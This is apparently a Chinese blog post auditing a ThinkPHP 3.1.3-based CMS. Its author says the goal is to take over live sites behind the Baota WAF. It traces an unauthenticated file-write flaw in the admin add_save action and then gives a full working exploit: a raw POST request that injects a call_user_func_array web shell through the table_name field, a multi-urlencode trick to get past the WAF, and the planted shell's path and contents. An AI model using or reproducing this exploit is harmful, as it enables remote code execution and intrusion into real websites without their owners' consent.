某妞子发给我的一个cms,有各种注入,但是网上大部分站点都是用宝塔搭建的,并且开了waf的功能,索性审一个rce直接日下。
程序是基于ThinkPHP3.1.3
进行二次开发的,直接根据特征从Github找了个源代码下来审,注入就不说了,直接看RCE:
Admin/Lib/Action/typeAction.class.php
public function add_save()
{
$data=pg('data');
M('classify_type')->data($data)->add();
$sql='
CREATE TABLE index_'.$data['table_name'].' (
'.$data['table_name'].'_id int(10) NOT NULL AUTO_INCREMENT,
type_id int(10) NOT NULL,
date int(10) NOT NULL,
title varchar(99) NOT NULL,
keywords varchar(99) NOT NULL,
description varchar(10) NOT NULL,
version_id int(10) NOT NULL,
PRIMARY KEY ('.$data['table_name'].'_id)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;';
M()->query($sql);
if(!file_exists('Index/Lib/Action/'.$data['table_name'].'Action.class.php'))
{
copy('Index/Lib/Action/messageAction.class.php','Index/Lib/Action/'.$data['table_name'].'Action.class.php');
$content=read_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php');
$content=str_replace('messageAction',$data['table_name'].'Action',$content);
write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);
copy_dir('Index/Tpl/message','Index/Tpl/'.$data['table_name']);
}
echo '操作成功';
}
直接从参数获取data
数组,没有任何检验/过滤/认证,后面用了write_file
函数,跟进去看看
ThinkPHP/Common/common.php
function write_file($path,$data)
{
creat_file($path);
$fp=fopen($path,"w+");
if(!fwrite($fp,$data))
{
return false;
}
else
{
fclose($fp);
return true;
}
}
很简单的一个函数,根据参数直接写文件,再回头看看刚才的代码:
write_file('Index/Lib/Action/'.$data['table_name'].'Action.class.php',$content);
文件名是php格式,如果$content
可控,那就直接RCE了,$content
内容是复制Index/Lib/Action/messageAction.class.php
的,然后根据指定参数进行替换,先看下代码:
Index/Lib/Action/messageAction.class.php
<?php
class messageAction extends Action {
public function index(){
$this->display();
}
public function details(){
$this->display();
}
public function add_save()
{
$data = pg('data');
$type_id = $data['type_id'];
$classify_id = pg('classify_id');
$table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');
$content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();
$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();
foreach($list as $k => $v){
$data[$v['field_name']]=serialize($data[$v['field_name']]);
}
$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();
foreach($list as $k => $v){
if(!empty($_FILES[$v['field_name']]['tmp_name'])){
$data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));
}
}
$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();
foreach($list as $k => $v)
{
$data[$v['field_name']]=strtotime($data[$v['field_name']]);
}
$id = M($table_name)->data($data)->add();
M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();
$this->success('提交成功');
}
}
也就是第二行的messageAction
会替换成参数指定的,但是文件名同时也会被修改,所以很多Payload在这边是没办法使用的,然后还有一个宝塔WAF要绕过,直接给Payload:
POST /admin.php?m=type&a=add_save HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 205
Connection: close
Pragma: no-cache
Cache-Control: no-cache
data%5Bdate%5D=1606456937&data%5Btype_name%5D=123&data%5Btable_name%5D=abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class &data%5Bpage_name%5D=index
大部分的函数在流量就被拦截了,但是他忽略了urlencode
,只需要多弄几个urlencode
就可以绕过流量了。
最后建立的文件长这样:
http://www.xxx.com/Index/Lib/Action/abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action.class.php
<?php
class abc{}call_user_func_array($_REQUEST[a],array($_REQUEST[b][0],urldecode(urldecode($_REQUEST[b][1])))); class Action extends Action {
public function index(){
$this->display();
}
public function details(){
$this->display();
}
public function add_save()
{
$data = pg('data');
$type_id = $data['type_id'];
$classify_id = pg('classify_id');
$table_name = M('classify_type')->where(array('type_id' => $type_id))->getField('table_name');
$content = M($table_name)->where(array($table_name.'_id' => $content_id))->select();
$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 4))->select();
foreach($list as $k => $v){
$data[$v['field_name']]=serialize($data[$v['field_name']]);
}
$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 7))->select();
foreach($list as $k => $v){
if(!empty($_FILES[$v['field_name']]['tmp_name'])){
$data[$v['field_name']] = $this->up_file(array('name' => $v['field_name']));
}
}
$list = M('input')->where(array('type_id' => $type_id, 'show_switch' => 2, 'input_type_id' => 8))->select();
foreach($list as $k => $v)
{
$data[$v['field_name']]=strtotime($data[$v['field_name']]);
}
$id = M($table_name)->data($data)->add();
M('relevance')->data(array('classify_id'=> $classify_id, 'content_id' => $id, 'main_id' => 1, 'type_id' => $type_id))->add();
$this->success('提交成功');
}
}